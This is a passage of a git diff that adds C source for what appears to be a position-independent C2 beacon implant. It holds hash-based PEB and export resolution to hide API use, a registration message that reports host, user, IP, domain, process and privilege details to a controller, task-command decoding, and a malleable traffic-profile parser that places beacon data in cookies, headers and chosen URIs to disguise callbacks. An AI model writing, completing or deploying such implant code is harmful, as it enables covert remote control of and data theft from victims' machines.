'x'; + for ( INT i = ( sizeof( UINT_PTR ) * 2 ) - 1; i >= 0 && off < cap; i-- ) + dst[off++] = hex[ ( val >> ( i * 4 ) ) & 0xF ]; + return off; +} diff --git a/src_beacon/src/Core/Ldr.c b/src_beacon/src/Core/Ldr.c new file mode 100644 index 0000000..44061d1 --- /dev/null +++ b/src_beacon/src/Core/Ldr.c @@ -0,0 +1,275 @@ +/* beacon/src/Core/Ldr.c + * PEB walk: NaxGetModule (by name-hash) + NaxGetProc (by export-hash). + * PIC helpers: NaxHexEncode, NaxUToStr, NaxAsciiToWide. + * PEB accessors use NaxCurrentPeb() (Defs.h overlay) - cast from NtCurrentTeb() + * because MinGW cross-compile _PEB/_TEB hide most fields behind Reserved arrays. */ + +#include "Macros.h" +#include "Defs.h" +#include "Instance.h" +#include + +/* ========= [ PEB / TEB accessors ] ========= */ + +/* Returns PEB->Ldr cast to our NAX_PEB_LDR_DATA type. + * NAX_PEB_LDR_DATA exposes InLoadOrderModuleList which MinGW's simplified + * PEB_LDR_DATA does not; the cast is safe - layout is identical. */ +FUNC PNAX_PEB_LDR_DATA NaxGetLdr( VOID ) { + return (PNAX_PEB_LDR_DATA)NaxCurrentPeb()->Ldr; +} + +/* Process heap handle - used by NaxBootstrap before Nax is allocated. */ +FUNC HANDLE NaxGetProcessHeap( VOID ) { + return (HANDLE)NaxCurrentPeb()->ProcessHeap; +} + +/* ========= [ FNV1a-32 hash ] ========= */ + +/* Hash a narrow ASCII string uppercased. */ +FUNC UINT32 NaxHashStr( const CHAR* str ) { + UINT32 hash = 0x811C9DC5u; + while ( *str ) { + CHAR c = *str++; + if ( c >= 'a' && c <= 'z' ) c -= 0x20; + hash ^= (UINT32)(BYTE)c; + hash *= 0x01000193u; + } + return hash; +} + +/* Hash a wide (UTF-16LE) string via its low bytes uppercased. */ +FUNC UINT32 NaxHashWStr( const WCHAR* str ) { + UINT32 hash = 0x811C9DC5u; + while ( *str ) { + CHAR c = (CHAR)( *str++ & 0xFF ); + if ( c >= 'a' && c <= 'z' ) c -= 0x20; + hash ^= (UINT32)(BYTE)c; + hash *= 0x01000193u; + } + return hash; +} + +/* ========= [ module lookup ] ========= */ + +/* Walk PEB InLoadOrderModuleList; return base of module whose name hashes to h. */ +FUNC HMODULE NaxGetModule( UINT32 h ) { + PNAX_PEB_LDR_DATA ldr = NaxGetLdr(); + PLIST_ENTRY head = &ldr->InLoadOrderModuleList; + PLIST_ENTRY cur = head->Flink; + + while ( cur != head ) { + PNAX_LDR_ENTRY entry = CONTAINING_RECORD( cur, NAX_LDR_ENTRY, InLoadOrderLinks ); + if ( entry->BaseDllName.Buffer != NULL ) { + if ( NaxHashWStr( entry->BaseDllName.Buffer ) == h ) + return (HMODULE)entry->DllBase; + } + cur = cur->Flink; + } + return NULL; +} + +/* ========= [ export lookup ] ========= */ + +/* Walk PE export table of `base`; return address of export whose name hashes to h. + * Forwarded exports ("ModuleName.FunctionName") are resolved recursively. + * Ordinal forwarding ("Module.#N") returns NULL - not implemented. */ +FUNC PVOID NaxGetProc( HMODULE base, UINT32 h ) { + PBYTE b = B_PTR( base ); + + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)b; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)( b + dos->e_lfanew ); + DWORD expRva = nt->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress; + DWORD expSize = nt->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].Size; + if ( expRva == 0 ) return NULL; + + PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)( b + expRva ); + PDWORD names = (PDWORD)( b + exp->AddressOfNames ); + PWORD ords = (PWORD)( b + exp->AddressOfNameOrdinals ); + PDWORD funcs = (PDWORD)( b + exp->AddressOfFunctions ); + + for ( DWORD i = 0; i < exp->NumberOfNames; i++ ) { + CHAR* name = (CHAR*)( b + names[ i ] ); + if ( NaxHashStr( name ) != h ) continue; + + PVOID addr = C_PTR( b + funcs[ ords[ i ] ] ); + + /* forwarded export - "ModuleName.FunctionName" string inside exp dir */ + if ( (PBYTE)addr >= (PBYTE)exp && (PBYTE)addr < (PBYTE)exp + expSize ) { + PCHAR fwd = (PCHAR)addr; + PCHAR dot = fwd; + WCHAR modW[ 64 ] = { 0 }; + INT pfxLen = 0; + + while ( *dot && *dot != '.' ) dot++; + if ( ! *dot ) return NULL; + + pfxLen = (INT)( dot - fwd ); + if ( pfxLen <= 0 || pfxLen > 59 ) return NULL; + if ( *( dot + 1 ) == '#' ) return NULL; + + for ( INT j = 0; j < pfxLen; j++ ) modW[ j ] = (WCHAR)(BYTE)fwd[ j ]; + modW[ pfxLen ] = L'.'; + modW[ pfxLen + 1 ] = L'd'; + modW[ pfxLen + 2 ] = L'l'; + modW[ pfxLen + 3 ] = L'l'; + modW[ pfxLen + 4 ] = L'\0'; + + HMODULE fwdMod = NaxGetModule( NaxHashWStr( modW ) ); + if ( ! fwdMod ) return NULL; + return NaxGetProc( fwdMod, NaxHashStr( dot + 1 ) ); + } + return addr; + } + return NULL; +} + +/* ========= [ PIC-safe helpers ] ========= */ + +/* Hex-encode `len` bytes of `src` into `dst` (no CRT, no static tables). */ +FUNC VOID NaxHexEncode( const PBYTE src, UINT32 len, PCHAR dst ) { + for ( UINT32 i = 0; i < len; i++ ) { + BYTE hi = ( src[i] >> 4 ) & 0x0Fu; + BYTE lo = src[i] & 0x0Fu; + dst[2*i] = hi < 10 ? '0' + hi : 'a' + hi - 10; + dst[2*i+1] = lo < 10 ? '0' + lo : 'a' + lo - 10; + } + dst[2 * len] = '\0'; +} + +/* Write unsigned decimal of `val` into `buf` (not NUL-terminated). Returns byte count. */ +FUNC UINT32 NaxUToStr( UINT32 val, PCHAR buf ) { + CHAR tmp[12]; + UINT32 i = 0, j = 0; + if ( val == 0 ) { buf[0] = '0'; return 1; } + while ( val > 0 ) { tmp[i++] = '0' + (CHAR)( val % 10 ); val /= 10; } + while ( i > 0 ) { buf[j++] = tmp[--i]; } + return j; +} + +/* ASCII-to-wide copy (no CRT). Writes at most `cap-1` wchars + NUL. */ +FUNC VOID NaxAsciiToWide( const PCHAR src, PWCHAR dst, UINT32 cap ) { + UINT32 i = 0; + while ( src[i] && i < cap - 1 ) { dst[i] = (WCHAR)(BYTE)src[i]; i++; } + dst[i] = L'\0'; +} + +/* ========= [ base64 encode ] ========= */ + +FUNC UINT32 NaxBase64Encode( const PBYTE src, UINT32 src_len, PCHAR dst, UINT32 dst_cap ) { + CHAR tbl[] = { + 'A','B','C','D','E','F','G','H','I','J','K','L','M', + 'N','O','P','Q','R','S','T','U','V','W','X','Y','Z', + 'a','b','c','d','e','f','g','h','i','j','k','l','m', + 'n','o','p','q','r','s','t','u','v','w','x','y','z', + '0','1','2','3','4','5','6','7','8','9','+','/' }; + + UINT32 out_len = 4 * ( ( src_len + 2 ) / 3 ); + if ( dst_cap < out_len + 1 ) return 0; + + UINT32 i = 0, j = 0; + while ( i < src_len ) { + UINT32 a = i < src_len ? (BYTE)src[ i++ ] : 0; + UINT32 b = i < src_len ? (BYTE)src[ i++ ] : 0; + UINT32 c = i < src_len ? (BYTE)src[ i++ ] : 0; + UINT32 triple = ( a << 16 ) | ( b << 8 ) | c; + dst[ j++ ] = tbl[ ( triple >> 18 ) & 0x3F ]; + dst[ j++ ] = tbl[ ( triple >> 12 ) & 0x3F ]; + dst[ j++ ] = tbl[ ( triple >> 6 ) & 0x3F ]; + dst[ j++ ] = tbl[ triple & 0x3F ]; + } + + UINT32 pad = ( 3 - src_len % 3 ) % 3; + for ( UINT32 p = 0; p < pad; p++ ) + dst[ out_len - 1 - p ] = '='; + + dst[ out_len ] = '\0'; + return out_len; +} + +/* ========= [ base64url encode ] ========= */ + +FUNC UINT32 NaxBase64UrlEncode( const PBYTE src, UINT32 src_len, PCHAR dst, UINT32 dst_cap ) { + UINT32 n = NaxBase64Encode( src, src_len, dst, dst_cap ); + for ( UINT32 i = 0; i < n; i++ ) { + if ( dst[i] == '+' ) dst[i] = '-'; + else if ( dst[i] == '/' ) dst[i] = '_'; + else if ( dst[i] == '=' ) { n = i; dst[i] = '\0'; break; } + } + return n; +} + +/* ========= [ base64 decode ] ========= */ + +FUNC INT NaxB64Val( CHAR c ) { + if ( c >= 'A' && c <= 'Z' ) return c - 'A'; + if ( c >= 'a' && c <= 'z' ) return c - 'a' + 26; + if ( c >= '0' && c <= '9' ) return c - '0' + 52; + if ( c == '+' || c == '-' ) return 62; + if ( c == '/' || c == '_' ) return 63; + return -1; +} + +FUNC UINT32 NaxBase64Decode( const PCHAR src, UINT32 src_len, PBYTE dst, UINT32 dst_cap ) { + UINT32 di = 0; + UINT32 si = 0; + while ( si < src_len && di < dst_cap ) { + INT a = -1, b = -1, c = -1, d = -1; + while ( si < src_len && a < 0 ) a = NaxB64Val( src[si++] ); + while ( si < src_len && b < 0 ) b = NaxB64Val( src[si++] ); + if ( a < 0 || b < 0 ) break; + dst[di++] = (BYTE)( ( a << 2 ) | ( b >> 4 ) ); + while ( si < src_len && src[si] == '=' ) si++; + if ( si >= src_len ) break; + c = NaxB64Val( src[si++] ); + if ( c < 0 ) break; + if ( di < dst_cap ) dst[di++] = (BYTE)( ( ( b & 0x0F ) << 4 ) | ( c >> 2 ) ); + while ( si < src_len && src[si] == '=' ) si++; + if ( si >= src_len ) break; + d = NaxB64Val( src[si++] ); + if ( d < 0 ) break; + if ( di < dst_cap ) dst[di++] = (BYTE)( ( ( c & 0x03 ) << 6 ) | d ); + } + return di; +} + +/* ========= [ hex decode ] ========= */ + +FUNC INT NaxHexNibble( CHAR c ) { + if ( c >= '0' && c <= '9' ) return c - '0'; + if ( c >= 'a' && c <= 'f' ) return c - 'a' + 10; + if ( c >= 'A' && c <= 'F' ) return c - 'A' + 10; + return -1; +} + +FUNC UINT32 NaxHexDecode( const PCHAR src, UINT32 src_len, PBYTE dst, UINT32 dst_cap ) { + UINT32 di = 0; + for ( UINT32 i = 0; i + 1 < src_len && di < dst_cap; i += 2 ) { + INT hi = NaxHexNibble( src[i] ); + INT lo = NaxHexNibble( src[i + 1] ); + if ( hi < 0 || lo < 0 ) break; + dst[di++] = (BYTE)( ( hi << 4 ) | lo ); + } + return di; +} + +/* ========= [ XOR mask/unmask ] ========= */ + +FUNC UINT32 NaxXorMask( PNAX_INSTANCE Nax, const PBYTE src, UINT32 src_len, PBYTE dst, UINT32 dst_cap ) { + if ( dst_cap < src_len + 4 ) return 0; + BYTE key[4]; + Nax->Bcrypt.BCryptGenRandom( NULL, key, 4, BCRYPT_USE_SYSTEM_PREFERRED_RNG ); + MmCopy( dst, key, 4 ); + for ( UINT32 i = 0; i < src_len; i++ ) + dst[4 + i] = src[i] ^ key[i % 4]; + return src_len + 4; +} + +FUNC UINT32 NaxXorUnmask( const PBYTE src, UINT32 src_len, PBYTE dst, UINT32 dst_cap ) { + if ( src_len < 4 ) return 0; + UINT32 data_len = src_len - 4; + if ( dst_cap < data_len ) return 0; + PBYTE key = src; + for ( UINT32 i = 0; i < data_len; i++ ) + dst[i] = src[4 + i] ^ key[i % 4]; + return data_len; +} diff --git a/src_beacon/src/Core/Packer.c b/src_beacon/src/Core/Packer.c new file mode 100644 index 0000000..5d1f031 --- /dev/null +++ b/src_beacon/src/Core/Packer.c @@ -0,0 +1,171 @@ +/* beacon/src/Core/Packer.c + * Wire-v0 frame encode / decode. PIC port of agent/src/packer.c. + * No CRT: uses MmCopy(__builtin_memcpy). Callers supply string lengths. */ + +#include "Macros.h" +#include "Wire.h" +#include "Instance.h" + +/* ========= [ LE write helpers ] ========= */ + +FUNC VOID NaxW16( PBYTE p, UINT16 v ) { + p[0] = (BYTE)( v & 0xFFu ); + p[1] = (BYTE)( ( v >> 8 ) & 0xFFu ); +} + +FUNC VOID NaxW32( PBYTE p, UINT32 v ) { + p[0] = (BYTE)( v & 0xFFu ); + p[1] = (BYTE)( ( v >> 8 ) & 0xFFu ); + p[2] = (BYTE)( ( v >> 16 ) & 0xFFu ); + p[3] = (BYTE)( ( v >> 24 ) & 0xFFu ); +} + +FUNC UINT16 NaxR16( const PBYTE p ) { + return (UINT16)p[0] | ( (UINT16)p[1] << 8 ); +} + +FUNC UINT32 NaxR32( const PBYTE p ) { + return (UINT32)p[0] | ( (UINT32)p[1] << 8 ) | ( (UINT32)p[2] << 16 ) | ( (UINT32)p[3] << 24 ); +} + +/* ========= [ frame encode ] ========= */ + +FUNC INT NaxFrameEncode( BYTE msg_type, + const PBYTE body, UINT32 body_len, + PBYTE out, UINT32* out_len ) { + if ( *out_len < NAX_FRAME_HDR + body_len ) + return NAX_ERR_NOMEM; + + out[0] = msg_type; + out[1] = 0; + NaxW32( out + 2, body_len ); + if ( body_len > 0 && body != NULL ) + MmCopy( out + NAX_FRAME_HDR, body, body_len ); + *out_len = NAX_FRAME_HDR + body_len; + return NAX_OK; +} + +/* ========= [ frame decode ] ========= */ + +FUNC INT NaxFrameDecode( const PBYTE frame, UINT32 frame_len, + BYTE* msg_type, PBYTE* body, + UINT32* body_len ) { + if ( frame_len < NAX_FRAME_HDR ) + return NAX_ERR_WIRE; + UINT32 bl = NaxR32( frame + 2 ); + if ( NAX_FRAME_HDR + bl > frame_len ) + return NAX_ERR_WIRE; + if ( msg_type ) + *msg_type = frame[0]; + if ( body ) + *body = (PBYTE)frame + NAX_FRAME_HDR; + if ( body_len ) + *body_len = bl; + return NAX_OK; +} + +/* ========= [ REGISTER body ] ========= */ + +/* Builds REGISTER body (no outer frame header). + * hn/un/ip/dom/proc are UTF-8 strings with explicit lengths. */ +FUNC INT NaxBuildRegBody( const PCHAR hn, UINT32 hn_len, + const PCHAR un, UINT32 un_len, + BYTE arch, + UINT32 pid, + UINT32 sleep_ms, + UINT32 tid, + const PCHAR ip, UINT32 ip_len, + const PCHAR dom, UINT32 dom_len, + const PCHAR proc, UINT32 proc_len, + BYTE elevated, + UINT32 os_major, + UINT32 os_minor, + UINT16 os_build, + UINT32 parent_pid, + UINT32 acp, + UINT32 oem_cp, + const PCHAR img, UINT32 img_len, + PBYTE out, UINT32* out_len ) { + UINT32 needed = 2 + hn_len + 2 + un_len + 1 + 4 + 4 + 4 + + 2 + ip_len + 2 + dom_len + 2 + proc_len + + 1 + 4 + 4 + 2 + 4 + 4 + 4 + 2 + img_len; + if ( *out_len < needed ) return NAX_ERR_NOMEM; + + PBYTE p = out; + NaxW16( p, (UINT16)hn_len ); p += 2; MmCopy( p, hn, hn_len ); p += hn_len; + NaxW16( p, (UINT16)un_len ); p += 2; MmCopy( p, un, un_len ); p += un_len; + *p++ = arch; + NaxW32( p, pid ); p += 4; + NaxW32( p, sleep_ms ); p += 4; + NaxW32( p, tid ); p += 4; + NaxW16( p, (UINT16)ip_len ); p += 2; MmCopy( p, ip, ip_len ); p += ip_len; + NaxW16( p, (UINT16)dom_len ); p += 2; MmCopy( p, dom, dom_len ); p += dom_len; + NaxW16( p, (UINT16)proc_len ); p += 2; + if ( proc_len > 0 ) MmCopy( p, proc, proc_len ); + p += proc_len; + *p++ = elevated; + NaxW32( p, os_major ); p += 4; + NaxW32( p, os_minor ); p += 4; + NaxW16( p, os_build ); p += 2; + NaxW32( p, parent_pid ); p += 4; + NaxW32( p, acp ); p += 4; + NaxW32( p, oem_cp ); p += 4; + NaxW16( p, (UINT16)img_len ); p += 2; + if ( img_len > 0 ) MmCopy( p, img, img_len ); + p += img_len; + + *out_len = needed; + return NAX_OK; +} + +/* ========= [ HEARTBEAT frame ] ========= */ + +FUNC INT NaxBuildHeartbeat( PBYTE out, UINT32* out_len ) { + return NaxFrameEncode( NAX_WIRE_HEARTBEAT, NULL, 0, out, out_len ); +} + +/* ========= [ TASK body decode ] ========= */ + +FUNC INT NaxDecodeTask( const PBYTE body, UINT32 body_len, NAX_TASK* t ) { + /* TASK body: task_id(4) + cmd_id(1) + args_len(4) + args(n) = min 9 */ + if ( body_len < 9 ) + return NAX_ERR_WIRE; + t->TaskId = NaxR32( body ); + t->CmdId = body[4]; + t->ArgsLen = NaxR32( body + 5 ); + if ( 9u + t->ArgsLen > body_len ) + return NAX_ERR_WIRE; + t->Args = ( t->ArgsLen > 0 ) ? (PBYTE)body + 9 : NULL; + return NAX_OK; +} + +/* ========= [ RESULT frame ] ========= */ + +FUNC INT NaxBuildResult( UINT32 task_id, + BYTE status, + const PBYTE data, UINT32 data_len, + PBYTE out, UINT32* out_len ) { + if ( data_len > 0 && data == NULL ) + return NAX_ERR_INVAL; + UINT32 body_len = 4 + 1 + 4 + data_len; + UINT32 needed = NAX_FRAME_HDR + body_len; + if ( *out_len < needed ) + return NAX_ERR_NOMEM; + + out[0] = NAX_WIRE_RESULT; + out[1] = 0; + NaxW32( out + 2, body_len ); + + PBYTE p = out + NAX_FRAME_HDR; + NaxW32( p, task_id ); + p += 4; + *p++ = status; + NaxW32( p, data_len ); + p += 4; + if ( data_len > 0 ) + MmCopy( p, data, data_len ); + + *out_len = needed; + return NAX_OK; +} + diff --git a/src_beacon/src/Core/PackerProfile.c b/src_beacon/src/Core/PackerProfile.c new file mode 100644 index 0000000..ed4961f --- /dev/null +++ b/src_beacon/src/Core/PackerProfile.c @@ -0,0 +1,330 @@ +/* beacon/src/Core/PackerProfile.c + * PROFILE v1/v2 wire format decoder. Splits from Packer.c for readability. + * Uses NaxR16 / NaxR32 from Packer.c via forward declarations. */ + +#include "Nax.h" + +/* ========= [ PROFILE body decode helpers ] ========= */ + +/* Reads a length-prefixed string (len:uint16LE + bytes) from `data` at `*off`. + * Copies up to `cap-1` bytes into `dst`, NUL-terminates. Advances `*off`. */ +FUNC INT NaxReadLpStr( const PBYTE data, UINT32 data_len, UINT32* off, PCHAR dst, UINT32 cap ) { + if ( *off + 2 > data_len ) return NAX_ERR_WIRE; + UINT16 slen = NaxR16( data + *off ); + *off += 2; + if ( *off + slen > data_len ) return NAX_ERR_WIRE; + UINT32 cpy = slen < cap - 1 ? slen : cap - 1; + MmCopy( dst, data + *off, cpy ); + dst[ cpy ] = '\0'; + *off += slen; + return NAX_OK; +} + +/* Skips a length-prefixed string without copying content. */ +FUNC INT NaxSkipLpStr( const PBYTE data, UINT32 data_len, UINT32* off ) { + if ( *off + 2 > data_len ) return NAX_ERR_WIRE; + UINT16 slen = NaxR16( data + *off ); + *off += 2 + slen; + if ( *off > data_len ) return NAX_ERR_WIRE; + return NAX_OK; +} + +/* Reads one OutputConfig block from the wire binary. + * Wire layout: format(1) + mask(1) + placement(1) + name(lpstr) + * + prepend(lpstr) + append(lpstr) + empty_resp(lpstr) */ +FUNC INT NaxReadOutputCfg( const PBYTE data, UINT32 data_len, UINT32* off, NAX_OUTPUT_CFG* cfg ) { + if ( *off + 3 > data_len ) return NAX_ERR_WIRE; + cfg->Format = data[ *off ]; *off += 1; + cfg->Mask = data[ *off ]; *off += 1; + cfg->Placement = data[ *off ]; *off += 1; + + INT rc; + rc = NaxReadLpStr( data, data_len, off, cfg->Name, 128 ); + if ( rc != NAX_OK ) return rc; + + UINT32 before; + UINT16 slen; + + before = *off; + rc = NaxReadLpStr( data, data_len, off, cfg->Prepend, 512 ); + if ( rc != NAX_OK ) return rc; + slen = ( before + 2 <= data_len ) ? NaxR16( data + before ) : 0; + cfg->PrependLen = slen < 511 ? slen : 511; + + before = *off; + rc = NaxReadLpStr( data, data_len, off, cfg->Append, 512 ); + if ( rc != NAX_OK ) return rc; + slen = ( before + 2 <= data_len ) ? NaxR16( data + before ) : 0; + cfg->AppendLen = slen < 511 ? slen : 511; + + before = *off; + rc = NaxReadLpStr( data, data_len, off, cfg->EmptyResp, 512 ); + if ( rc != NAX_OK ) return rc; + slen = ( before + 2 <= data_len ) ? NaxR16( data + before ) : 0; + cfg->EmptyRespLen = slen < 511 ? slen : 511; + + return NAX_OK; +} + +/* --------- [ v2 profile parser ] --------- */ + +/* Decode PROFILE v2 frame body into NAX_CONFIG fields. + * V2 wire format (all LE): + * version(1) + rotation(1) + * user_agent: lpstr + * beacon_id_hdr: lpstr + * host_count(2) [lpstr]... + * server_error: err_status(2) + err_body(lpstr) + err_hdr_count(2) + [lpstr]... + * GET block: + * uri_count(2) [lpstr]... + * client_meta: OutputConfig + * client_hdr_count(2) [lpstr]... + * client_param_count(2) [lpstr]... + * server_output: OutputConfig + * server_hdr_count(2) [lpstr]... (skipped) + * POST block: + * uri_count(2) [lpstr]... + * client_meta: OutputConfig + * client_output: OutputConfig + * client_hdr_count(2) [lpstr]... + * server_output: OutputConfig + * server_hdr_count(2) [lpstr]... (skipped) + * + * Falls back to v1 flat format when version != 0x02. */ +FUNC INT NaxDecodeProfile( const PBYTE data, UINT32 data_len, PNAX_INSTANCE Nax ) { + UINT32 off = 0; + INT rc; + UINT16 itemCount; + UINT16 i; + + if ( data_len < 2 ) return NAX_ERR_WIRE; + + BYTE first = data[ off ]; off += 1; + + if ( first == 0x02 ) { + /* ========= v2 format ========= */ + Nax->Config.ProfileVersion = 2; + Nax->Config.Rotation = data[ off ]; off += 1; + + /* User-Agent */ + rc = NaxReadLpStr( data, data_len, &off, Nax->Config.UserAgent, 256 ); + if ( rc != NAX_OK ) return rc; + + /* Beacon ID header name */ + rc = NaxReadLpStr( data, data_len, &off, Nax->Config.BeaconIdHdr, 128 ); + if ( rc != NAX_OK ) return rc; + + /* Callback hosts */ + if ( off + 2 > data_len ) return NAX_ERR_WIRE; + itemCount = NaxR16( data + off ); off += 2; + if ( itemCount > 4 ) itemCount = 4; + Nax->Config.HostCount = (BYTE)itemCount; + for ( i = 0; i < itemCount; i++ ) { + rc = NaxReadLpStr( data, data_len, &off, Nax->Config.Hosts[ i ], 128 ); + if ( rc != NAX_OK ) return rc; + } + + /* Server error block - beacon doesn't use, skip entirely */ + /* err_status(2) */ + if ( off + 2 > data_len ) return NAX_ERR_WIRE; + off += 2; + /* err_body(lpstr) */ + rc = NaxSkipLpStr( data, data_len, &off ); + if ( rc != NAX_OK ) return rc; + /* err_hdr_count(2) + [lpstr]... */ + if ( off + 2 > data_len ) return NAX_ERR_WIRE; + itemCount = NaxR16( data + off ); off += 2; + for ( i = 0; i < itemCount; i++ ) { + rc = NaxSkipLpStr( data, data_len, &off ); + if ( rc != NAX_OK ) return rc; + } + + /* --------- GET block --------- */ + + /* GET URIs */ + if ( off + 2 > data_len ) return NAX_ERR_WIRE; + itemCount = NaxR16( data + off ); off += 2; + if ( itemCount > 8 ) itemCount = 8; + Nax->Config.GetUriCount = (BYTE)itemCount; + for ( i = 0; i < itemCount; i++ ) { + rc = NaxReadLpStr( data, data_len, &off, Nax->Config.GetUris[ i ], 128 ); + if ( rc != NAX_OK ) return rc; + } + + /* GET client metadata OutputConfig */ + rc = NaxReadOutputCfg( data, data_len, &off, &Nax->Config.GetClientMeta ); + if ( rc != NAX_OK ) return rc; + + /* GET client headers */ + if ( off + 2 > data_len ) return NAX_ERR_WIRE; + itemCount = NaxR16( data + off ); off += 2; + if ( itemCount > 8 ) itemCount = 8; + Nax->Config.GetClientHdrCount = (BYTE)itemCount; + for ( i = 0; i < itemCount; i++ ) { + rc = NaxReadLpStr( data, data_len, &off, Nax->Config.GetClientHdrs[ i ], 256 ); + if ( rc != NAX_OK ) return rc; + } + + /* GET client parameters */ + if ( off + 2 > data_len ) return NAX_ERR_WIRE; + itemCount = NaxR16( data + off ); off += 2; + if ( itemCount > 8 ) itemCount = 8; + Nax->Config.GetClientParamCount = (BYTE)itemCount; + for ( i = 0; i < itemCount; i++ ) { + rc = NaxReadLpStr( data, data_len, &off, Nax->Config.GetClientParams[ i ], 128 ); + if ( rc != NAX_OK ) return rc; + } + + /* GET server output OutputConfig */ + rc = NaxReadOutputCfg( data, data_len, &off, &Nax->Config.GetServerOutput ); + if ( rc != NAX_OK ) return rc; + + /* GET server headers - beacon doesn't need, skip */ + if ( off + 2 > data_len ) return NAX_ERR_WIRE; + itemCount = NaxR16( data + off ); off += 2; + for ( i = 0; i < itemCount; i++ ) { + rc = NaxSkipLpStr( data, data_len, &off ); + if ( rc != NAX_OK ) return rc; + } + + /* --------- POST block --------- */ + + /* POST URIs */ + if ( off + 2 > data_len ) return NAX_ERR_WIRE; + itemCount = NaxR16( data + off ); off += 2; + if ( itemCount > 8 ) itemCount = 8; + Nax->Config.PostUriCount = (BYTE)itemCount; + for ( i = 0; i < itemCount; i++ ) { + rc = NaxReadLpStr( data, data_len, &off, Nax->Config.PostUris[ i ], 128 ); + if ( rc != NAX_OK ) return rc; + } + + /* POST client metadata OutputConfig */ + rc = NaxReadOutputCfg( data, data_len, &off, &Nax->Config.PostClientMeta ); + if ( rc != NAX_OK ) return rc; + + /* POST client output OutputConfig */ + rc = NaxReadOutputCfg( data, data_len, &off, &Nax->Config.PostClientOutput ); + if ( rc != NAX_OK ) return rc; + + /* POST client headers */ + if ( off + 2 > data_len ) return NAX_ERR_WIRE; + itemCount = NaxR16( data + off ); off += 2; + if ( itemCount > 8 ) itemCount = 8; + Nax->Config.PostClientHdrCount = (BYTE)itemCount; + for ( i = 0; i < itemCount; i++ ) { + rc = NaxReadLpStr( data, data_len, &off, Nax->Config.PostClientHdrs[ i ], 256 ); + if ( rc != NAX_OK ) return rc; + } + + /* POST server output OutputConfig */ + rc = NaxReadOutputCfg( data, data_len, &off, &Nax->Config.PostServerOutput ); + if ( rc != NAX_OK ) return rc; + + /* POST server headers - beacon doesn't need, skip */ + if ( off + 2 > data_len ) return NAX_ERR_WIRE; + itemCount = NaxR16( data + off ); off += 2; + for ( i = 0; i < itemCount; i++ ) { + rc = NaxSkipLpStr( data, data_len, &off ); + if ( rc != NAX_OK ) return rc; + } + + } else { + /* ========= v1 fallback ========= */ + /* In v1 there is no version byte - first byte was rotation */ + Nax->Config.ProfileVersion = 1; + Nax->Config.Rotation = first; + + /* GET URIs */ + if ( off + 2 > data_len ) return NAX_ERR_WIRE; + itemCount = NaxR16( data + off ); off += 2; + if ( itemCount > 8 ) itemCount = 8; + Nax->Config.GetUriCount = (BYTE)itemCount; + for ( i = 0; i < itemCount; i++ ) { + rc = NaxReadLpStr( data, data_len, &off, Nax->Config.GetUris[ i ], 128 ); + if ( rc != NAX_OK ) return rc; + } + + /* POST URIs */ + if ( off + 2 > data_len ) return NAX_ERR_WIRE; + itemCount = NaxR16( data + off ); off += 2; + if ( itemCount > 8 ) itemCount = 8; + Nax->Config.PostUriCount = (BYTE)itemCount; + for ( i = 0; i < itemCount; i++ ) { + rc = NaxReadLpStr( data, data_len, &off, Nax->Config.PostUris[ i ], 128 ); + if ( rc != NAX_OK ) return rc; + } + + /* User-Agents - v1 had a list, take the first one */ + if ( off + 2 > data_len ) return NAX_ERR_WIRE; + UINT16 ua_count = NaxR16( data + off ); off += 2; + for ( i = 0; i < ua_count; i++ ) { + if ( i == 0 ) { + rc = NaxReadLpStr( data, data_len, &off, Nax->Config.UserAgent, 256 ); + } else { + rc = NaxSkipLpStr( data, data_len, &off ); + } + if ( rc != NAX_OK ) return rc; + } + + /* Extra headers - map to GetClientHdrs */ + if ( off + 2 > data_len ) return NAX_ERR_WIRE; + itemCount = NaxR16( data + off ); off += 2; + if ( itemCount > 8 ) itemCount = 8; + Nax->Config.GetClientHdrCount = (BYTE)itemCount; + for ( i = 0; i < itemCount; i++ ) { + rc = NaxReadLpStr( data, data_len, &off, Nax->Config.GetClientHdrs[ i ], 256 ); + if ( rc != NAX_OK ) return rc; + } + + /* Cookie name - map to GetClientMeta with COOKIE placement, BASE64 format */ + CHAR cookie_name[ 64 ]; + MmZero( cookie_name, 64 ); + rc = NaxReadLpStr( data, data_len, &off, cookie_name, 64 ); + if ( rc != NAX_OK ) return rc; + + Nax->Config.GetClientMeta.Format = NAX_FMT_BASE64; + Nax->Config.GetClientMeta.Mask = 0; + Nax->Config.GetClientMeta.Placement = NAX_PLACE_COOKIE; + MmCopy( Nax->Config.GetClientMeta.Name, cookie_name, 64 ); + Nax->Config.GetClientMeta.Prepend[ 0 ] = '\0'; + Nax->Config.GetClientMeta.PrependLen = 0; + Nax->Config.GetClientMeta.Append[ 0 ] = '\0'; + Nax->Config.GetClientMeta.AppendLen = 0; + Nax->Config.GetClientMeta.EmptyResp[ 0 ] = '\0'; + Nax->Config.GetClientMeta.EmptyRespLen = 0; + + /* v1 rotation byte was already consumed as `first` */ + + /* Default POST client meta to HEADER placement */ + Nax->Config.PostClientMeta.Format = NAX_FMT_BASE64; + Nax->Config.PostClientMeta.Mask = 0; + Nax->Config.PostClientMeta.Placement = NAX_PLACE_HEADER; + Nax->Config.PostClientMeta.Name[ 0 ] = '\0'; + Nax->Config.PostClientMeta.Prepend[ 0 ] = '\0'; + Nax->Config.PostClientMeta.PrependLen = 0; + Nax->Config.PostClientMeta.Append[ 0 ] = '\0'; + Nax->Config.PostClientMeta.AppendLen = 0; + Nax->Config.PostClientMeta.EmptyResp[ 0 ] = '\0'; + Nax->Config.PostClientMeta.EmptyRespLen = 0; + + /* Default POST client output to BODY placement */ + Nax->Config.PostClientOutput.Format = NAX_FMT_RAW; + Nax->Config.PostClientOutput.Mask = 0; + Nax->Config.PostClientOutput.Placement = NAX_PLACE_BODY; + Nax->Config.PostClientOutput.Name[ 0 ] = '\0'; + Nax->Config.PostClientOutput.Prepend[ 0 ] = '\0'; + Nax->Config.PostClientOutput.PrependLen = 0; + Nax->Config.PostClientOutput.Append[ 0 ] = '\0'; + Nax->Config.PostClientOutput.AppendLen = 0; + Nax->Config.PostClientOutput.EmptyResp[ 0 ] = '\0'; + Nax->Config.PostClientOutput.EmptyRespLen = 0; + } + + /* Reset rotation indices */ + Nax->Config.GetUriIdx = 0; + Nax->Config.PostUriIdx = 